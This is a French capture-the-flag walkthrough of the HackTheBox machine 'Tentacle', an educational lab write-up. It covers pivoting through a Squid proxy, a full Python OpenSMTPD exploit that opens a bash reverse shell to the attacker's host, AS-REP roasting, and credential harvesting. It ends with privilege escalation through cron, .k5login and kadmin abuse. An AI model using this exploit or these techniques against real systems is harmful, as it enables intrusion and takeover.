HackTheBox - Tentacle
Bonjour à tous aujourd’hui je vous présente un walkthrough sur une machine difficile de HackTheBox. Cette machine demandait une énumération assez poussée, être familié avec proxychains et de bonnes connaissances sur le protocole kerberos. 😀
Recon
Port Scanning
Tout d’abord, faisons un scan TCP + UDP des 65535 ports avec l’outil masscan pour plus de rapidité :
1
2
3
4
5
6
7
❯ sudo masscan 10.10.10.224 -p1-65535,U:1-65535 --rate=500 -e tun0
Discovered open port 88/tcp on 10.10.10.224
Discovered open port 22/tcp on 10.10.10.224
Discovered open port 3128/tcp on 10.10.10.224
Discovered open port 53/udp on 10.10.10.224
Discovered open port 53/tcp on 10.10.10.224
Ensuite, enregistrons la sortie dans un fichier nommé masscan et faisons un scan plus avancé avec des NSE sur les ports ouverts :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
❯ export ports=$(cat masscan | awk '{print $4}' | grep -o '[0-9]\+' | tr '\n' ',') && echo $ports
88,22,3128,53,53
❯ nmap -p $ports -sCV -oN nmap 10.10.10.224 -Pn
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.0 (protocol 2.0)
| ssh-hostkey:
| 3072 8d:dd:18:10:e5:7b:b0:da:a3:fa:14:37:a7:52:7a:9c (RSA)
| 256 f6:a9:2e:57:f8:18:b6:f4:ee:03:41:27:1e:1f:93:99 (ECDSA)
|_ 256 04:74:dd:68:79:f4:22:78:d8:ce:dd:8b:3e:8c:76:3b (ED25519)
53/tcp open domain ISC BIND 9.11.20 (RedHat Enterprise Linux 8)
| dns-nsid:
|_ bind.version: 9.11.20-RedHat-9.11.20-5.el8
88/tcp open kerberos-sec MIT Kerberos (server time: 2021-06-19 15:02:50Z)
3128/tcp open http-proxy Squid http proxy 4.11
|_http-server-header: squid/4.11
|_http-title: ERROR: The requested URL could not be retrieved
Service Info: Host: REALCORP.HTB; OS: Linux; CPE: cpe:/o:redhat:enterprise_linux:8
Sur le serveur distant, nous avons 4 services :
- Un serveur SSH sur le port 22
- Un serveur DNS sur le port 53
- Un serveur Kerberos sur le port 88
- Un proxy Squid sur le port 3128
Je suppose que la machine cible tourne sur la distribution linux Red Hat par rapport à la réponse DNS et que l’host de la machine est REALCORP.HTB.
Enumeration Squid proxy
En tentant d’accéder au proxy nous découvrons un utilisateur : j.nakazawa
, un nom de domaine : realcorp.htb
et un sous-domaine : srv01.realcorp.htb
:
Cette utilisateur est AS-REP Roastable, nous pouvons donc récupérer son ticket Kerberos à partir du KDC mais le hash Kerberos 5 AS-REP etype 23 est incassable :
1
2
3
4
❯ GetNPUsers.py -dc-ip 10.10.10.224 -no-pass realcorp.htb/j.nakazawa
[*] Getting TGT for j.nakazawa
$krb5asrep$18$j.nakazawa@REALCORP.HTB:19231d6324028ef033447c744cecff89$3820ac18d889cbc260ae2bdb37ae95df0c7668b3f0b1c210a30b8cc93152a8335d5e1d884a2691cec399041be849255b927c1055b0922cc9d3ddff2028a9ce9b22cdfa1cc57493ad0d3d5900c64ea0a7da48a42324b8334ce11ea3752f0aee4d5260dfb2434452960ea6e9f9540a223392717cdb28b8b538e41f98e1ca521d0968d03073e2ab61845f9af5d01f9faa4fed0e57ec477c71ecb8c56f7de38d6d07cb9cdb4a6d72357bbb0a60b719fdef19cc0f2eb9190572eb15d2b0e85a1031b1576c19e2e236414830131c044fcc835c5d886e284005d01a7365
Enumeration DNS server
Pour automatiser notre énumération je vais utiliser DNSEnum :
1
2
3
4
5
6
7
❯ dnsenum -f /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt --dnsserver 10.10.10.224 realcorp.htb
----- realcorp.htb -----
ns.realcorp.htb. 259200 IN A 10.197.243.77
proxy.realcorp.htb. 259200 IN CNAME ns.realcorp.htb.
ns.realcorp.htb. 259200 IN A 10.197.243.77
wpad.realcorp.htb. 259200 IN A 10.197.243.31
DNSEnum est un outil qui en autonomie :
- identifie les enregistrements DNS (MX, NS, A records) et les nameservers
- brute force les sous-domaines (via wordlists et google scraping)
- Effectue un reverse lookup
- Envoie des requêtes AXFR aux nameservers
Plusieurs IP et sous-domaines ont été trouvés ! 😁
Pour y accéder nous avons besoin d’utiliser proxychains4 afin de pivoter à partir de l’IP principale pour accéder aux autres en nous connectant au proxy Squid.
Proxychains4 Configuration
Proxychains fonctionne pour les paquets TCP mais pas UDP, donc avec nmap, si nous voulons scanner à travers un proxy il va falloir rajouter le paramètre -sT pour préciser à nmap de faire un scan TCP (et non SYN par défaut)
Proxychains va prendre en compte les proxies de haut en bas, deplus il y a plusieurs options :
- Strict chaining, proxychains suit obligatoirement le chemin donné dans
/etc/proxychains.conf
- Dynamic chaining, proxychains va d’abord détecter si le proxy est up avant de l’utiliser
- Random chaining, tout est dans le nom, il va pas suivre un ordre précis
10.197.243.77 accepte seulement les requêtes venant du localhost c’est pour cela que nous devons passer par plusieurs proxies car la configuration directive http_access allow localhost
est activé.
Dans notre cas, nous allons devoir ajouter cette liste de proxies à l’intérieur du fichier de configuration de proxychains4 /etc/proxychains4.conf
:
1
2
3
http 10.10.10.224 3128
http 127.0.0.1 3128
http 10.197.243.77 3128
Enumeration subdomains
Nmap 10.197.243.77
1
2
3
4
5
6
7
8
9
❯ proxychains4 -f /etc/proxychains4.conf nmap -sT 10.197.243.77 -Pn
PORT STATE SERVICE
22/tcp open ssh
53/tcp open domain
88/tcp open kerberos-sec
464/tcp open kpasswd5
749/tcp open kerberos-adm
3128/tcp open squid-http
Nmap 10.197.243.31
1
2
3
4
5
6
7
8
9
10
❯ proxychains4 -f /etc/proxychains4.conf nmap -sT 10.197.243.31 -Pn
PORT STATE SERVICE
22/tcp open ssh
53/tcp open domain
80/tcp open http
88/tcp open kerberos-sec
464/tcp open kpasswd5
749/tcp open kerberos-adm
3128/tcp open squid-http
Nous avons un serveur Web sur la machine 10.197.243.31 ayant comme nom de domaine wpad.realcorp.htb :
Cependant nous avons pas les permissions d’accéder à l’index du serveur Web.
Après m’être renseigné sur wpad, j’ai compris qu’il existait un fichier PAC nommé wpad.dat
qui contient les paramètres du proxy :
À l’intérieur de ce fichier, nous avons une nouvelle IP avec une partie réseau différente.
Cependant cette machine ne répond pas. Nous supposons que ceci est un indice pour trouver une nouvelle machine… Scannons une plage d’IP :
1
2
3
4
5
6
7
8
9
❯ proxychains4 -f /etc/proxychains4.conf nmap 10.241.251.0/24 -vvv -sT -Pn
<...>
[proxychains] Dynamic chain ... 10.10.10.224:3128 ... 127.0.0.1:3128 ... 10.197.243.77:3128 ... 10.241.251.113:25 ... OK
Discovered open port 25/tcp on 10.241.251.113
<...>
Nmap scan report for 10.241.251.113
PORT STATE SERVICE REASON
25/tcp open smtp syn-ack
Nous avons trouvé un serveur SMTP sur la machine 10.241.251.113.
Avec du banner grabbing nous pouvous identifier la version du service en marche sur le serveur distant rapidement :
1
2
3
4
❯ proxychains4 -f /etc/proxychains4.conf nc 10.241.251.113 25
[proxychains] Dynamic chain ... 10.10.10.224:3128 ... 127.0.0.1:3128 ... 10.197.243.77:3128 ... 10.241.251.113:25 ... OK
220 smtp.realcorp.htb ESMTP OpenSMTPD
Après quelques recherches, j’ai trouvé une vulnérabilité OpenSMTPD. 😃
Exploitation OpenSMTPD (Source code review)
Si la partie locale d’une adresse mail n’est pas valide et ne comporte pas de nom de domaine, un attaquant peut transmettre un reverse shell et ignorer les contrôles MAILADDR_ALLOWED et MAILADDR_ESCAPE grâce à cette faille.
Nous allons modifier le code afin d’exécuter un reverse shell :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
import socket, time
import sys
HOST = input('RHOST : ')
PORT = int(input('RPORT : '))
LHOST = input('LHOST : ')
LPORT = int(input('LPORT : '))
pld_rev_shell = 'bash -c "exec bash -i &> /dev/tcp/{}/{} <&1"'.format(LHOST, LPORT)
s = None
payload = b"""\r\n
#0\r\n
#1\r\n
#2\r\n
#3\r\n
#4\r\n
#5\r\n
#6\r\n
#7\r\n
#8\r\n
#9\r\n
#a\r\n
#b\r\n
#c\r\n
#d\r\n
""" + pld_rev_shell.encode() + b"""
.
"""
for res in socket.getaddrinfo(HOST, PORT, socket.AF_UNSPEC, socket.SOCK_STREAM):
af, socktype, proto, canonname, sa = res
try:
s = socket.socket(af, socktype, proto)
except OSError as msg:
s = None
continue
try:
s.connect(sa)
except OSError as msg:
s.close()
s = None
continue
break
if s is None:
print('could not open socket')
sys.exit(1)
with s:
data = s.recv(1024)
time.sleep(1)
s.send(b"helo test.com\r\n")
data = s.recv(1024)
s.send(b"MAIL FROM:<;for i in 0 1 2 3 4 5 6 7 8 9 a b c d;do read r;done;sh;exit 0;>\r\n")
time.sleep(1)
data = s.recv(1024)
s.send(b"RCPT TO:<j.nakazawa@realcorp.htb>\r\n")
data = s.recv(1024)
s.send(b"DATA\r\n")
data = s.recv(1024)
s.send(payload)
data = s.recv(1024)
s.send(b"QUIT\r\n")
data = s.recv(1024)
s.close()
Nous avons enfin un foothold sur la machine et nous sommes même root du serveur SMTP ! 😊
Pivoting to j.nakazawa of srv01
Une énumération rapide est suffisante pour trouver des credentials dans un fichier de configuration nommé .msmtprc à l’intérieur du répertoire personnel de j.nakazawa :
1
2
3
root@smtp:/home/j.nakazawa# grep 'user\|password' .msmtprc
user j.nakazawa
password sJB}RM>6Z~64_
Nous pouvons éventuellement utiliser ces identifiants pour nous connecter en SSH au nom de domaine srv01.realcorp.htb, cependant les logs ne fonctionnent pas. Je suis resté bloqué ici avant de penser que nous avons 2 moyens d’authentification : SSH et Kerberos.
Exploitation SSH via Kerberos
Essayons de générer un ticket Kerberos et de l’utiliser afin de nous connecter en tant que utilisateur.
(Comment Kerberos fonctionne-t-il avec SSH ?)
Voici un schéma pour comprendre le fonctionnement de Kerberos avec SSH :
Nous avons besoin d’un client Kerberos notamment krb5-user
Tout d’abord, je vais changer le realm par défaut dans /etc/krb5.conf
ainsi que le KDC avec la bonne IP, on obtient donc :
1
2
3
4
5
default_realm = REALCORP.HTB
REALCORP.HTB = {
kdc = 10.10.10.224
}
Ensuite, je génére un ticket avec kinit :
1
2
3
❯ kinit j.nakazawa
Password for j.nakazawa@REALCORP.HTB: sJB}RM>6Z~64_
Sachez que nous pouvons lister les tickets crées avec la commande klist :
1
2
3
4
5
6
7
❯ klist
Ticket cache: FILE:/tmp/krb5cc_1001
Default principal: j.nakazawa@REALCORP.HTB
Valid starting Expires Service principal
14/03/2021 08:58:20 15/03/2021 08:58:19 krbtgt/REALCORP.HTB@REALCORP.HTB
Maintenant nous pouvons nous connecter en SSH avec notre utilisateur 😰 :
Nous sommes enfin connecté en tant que j.nakazawa et on peut afficher le flag user ! 🙂
Horizontal Privilege Escalation / Lateral Movement
Nous avons un cron appartenant au groupe admin inhabituel :
1
2
3
4
5
6
7
[j.nakazawa@srv01 ~]$ cat /etc/crontab
SHELL=/bin/bash
PATH=/sbin:/bin:/usr/sbin:/usr/bin
MAILTO=root
* * * * * admin /usr/local/bin/log_backup.sh
Le script bash contient ce code :
1
2
3
4
5
#!/bin/bash
/usr/bin/rsync -avz --no-perms --no-owner --no-group /var/log/squid/ /home/admin/
cd /home/admin
/usr/bin/tar czf squid_logs.tar.gz.`/usr/bin/date +%F-%H%M%S` access.log cache.log
/usr/bin/rm -f access.log cache.log
Exploitation cron
1
2
3
4
Ligne 1 : Copie de tous les fichiers et dossiers de **/var/log/squid/ vers /home/admin/** avec [rsync](https://doc.ubuntu-fr.org/rsync).
Ligne 2 : Il se déplace dans le répertoire personnel de admin
Ligne 3 : Créer une archive [tar](https://doc.ubuntu-fr.org/tar) s'appelant squid_logs.tar.gz.<la_date_heure> contenant les logs du proxy squid
Ligne 4 : Supprime les fichiers logs inutiles
Nous avons pas les droits de liste les éléments dans /var/log/squid cependant nous avons les permissions d’écriture dans ce répertoire. Le but va être d’ajouter un moyen d’authentification à l’intérieur du /home/admin et pour cela nous avons simplement besoin d’ajouter ce moyen d’authentification à l’intérieur du répertoire de log Squid grâce au cron backup.
Après avoir essayer d’ajouter notre clef publique aux authorized_keys SSH de admin mais sans succès. J’ai compris qu’il existait un fichier .k5login qui permet de s’identifier :
Si pam_krb5
est appelé en phase d’autorisation, il vérifie s’il ~/.k5login existe. Si tel est le cas, il doit répertorier le principal Kerberos du client. Sinon, le seul principal autorisé est username@DEFAULT-REALM.
Nous devons alors créer un fichier .k5login dans le répertoire personnel de j.nakazawa :
1
[j.nakazawa@srv01 ~]$ echo 'j.nakazawa@REALCORP.HTB' > .k5login
Ainsi que dans le répertoire de admin, pour cela nous devons copier notre .k5login dans les logs Squid :
1
[j.nakazawa@srv01 ~]$ cp .k5login /var/log/squid/
Après execution du cron nous pouvons nous connecter en tant que admin :
Nous sommes maintenant admin du domaine srv01 ! 🥳
Pivot from admin to root
Avec LinEnum / linPEAS ou à la main, nous pouvons trouver un fichier keytab intéréssant appartenant au groupe admin situé au path /etc/krb5.keytab
:
1
2
3
4
5
6
7
8
9
[admin@srv01 ~]$ find / \( -path /sys -o -path /proc -o -path /run \) -prune -false -o -group admin 2>/dev/null
/etc/krb5.keytab
/usr/local/bin/log_backup.sh
/home/admin
/home/admin/.ssh
/home/admin/squid_logs.tar.gz.2021-03-14-151301
/home/admin/squid_logs.tar.gz.2021-03-14-151401
/home/admin/squid_logs.tar.gz.2021-03-14-151501
Tous les hôtes qui fournissent un service disposent d’un fichier local, appelé un keytab. Le fichier keytab contient le principal pour le service approprié, appelé clé de service. Une clé de service est utilisée par un service pour s’authentifier auprès du KDC et est uniquement connue de Kerberos et du service lui-même. Par exemple, si vous avez un serveur NFS utilisant Kerberos, le serveur doit avoir un fichier keytab qui contient son principal de service nfs. On peut utiliser un fichier keytab pour nous authentifier auprès d’un serveur distant à l’aide de Kerberos sans saisir de mot de passe.
Nous pouvons lire un fichier keytab avec klist :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
[admin@srv01 ~]$ klist -t -k /etc/krb5.keytab
Keytab name: FILE:/etc/krb5.keytab
KVNO Timestamp Principal
---- ------------------- ------------------------------------------------------
2 08/12/2020 22:15:30 host/srv01.realcorp.htb@REALCORP.HTB
2 08/12/2020 22:15:30 host/srv01.realcorp.htb@REALCORP.HTB
2 08/12/2020 22:15:30 host/srv01.realcorp.htb@REALCORP.HTB
2 08/12/2020 22:15:30 host/srv01.realcorp.htb@REALCORP.HTB
2 08/12/2020 22:15:30 host/srv01.realcorp.htb@REALCORP.HTB
2 19/12/2020 06:00:42 kadmin/changepw@REALCORP.HTB
2 19/12/2020 06:00:42 kadmin/changepw@REALCORP.HTB
2 19/12/2020 06:00:42 kadmin/changepw@REALCORP.HTB
2 19/12/2020 06:00:42 kadmin/changepw@REALCORP.HTB
2 19/12/2020 06:00:42 kadmin/changepw@REALCORP.HTB
2 19/12/2020 06:10:53 kadmin/admin@REALCORP.HTB
2 19/12/2020 06:10:53 kadmin/admin@REALCORP.HTB
2 19/12/2020 06:10:53 kadmin/admin@REALCORP.HTB
2 19/12/2020 06:10:53 kadmin/admin@REALCORP.HTB
2 19/12/2020 06:10:53 kadmin/admin@REALCORP.HTB
Nous allons utiliser kadmin pour ajouter un principal root de service Kerberos dans notre fichier keytab :
1
2
3
4
5
6
[admin@srv01 ~]$ kadmin -k -t /etc/krb5.keytab -p kadmin/admin@REALCORP.HTB
Authenticating as principal kadmin/admin@REALCORP.HTB with keytab /etc/krb5.keytab.
kadmin: add_principal root@REALCORP.HTB
Enter password for principal "root@REALCORP.HTB": nuts
Re-enter password for principal "root@REALCORP.HTB": nuts
Nous pouvons enfin nous connecter en tant que root à l’aide de ksu
Voila nous sommes enfin root ! 😎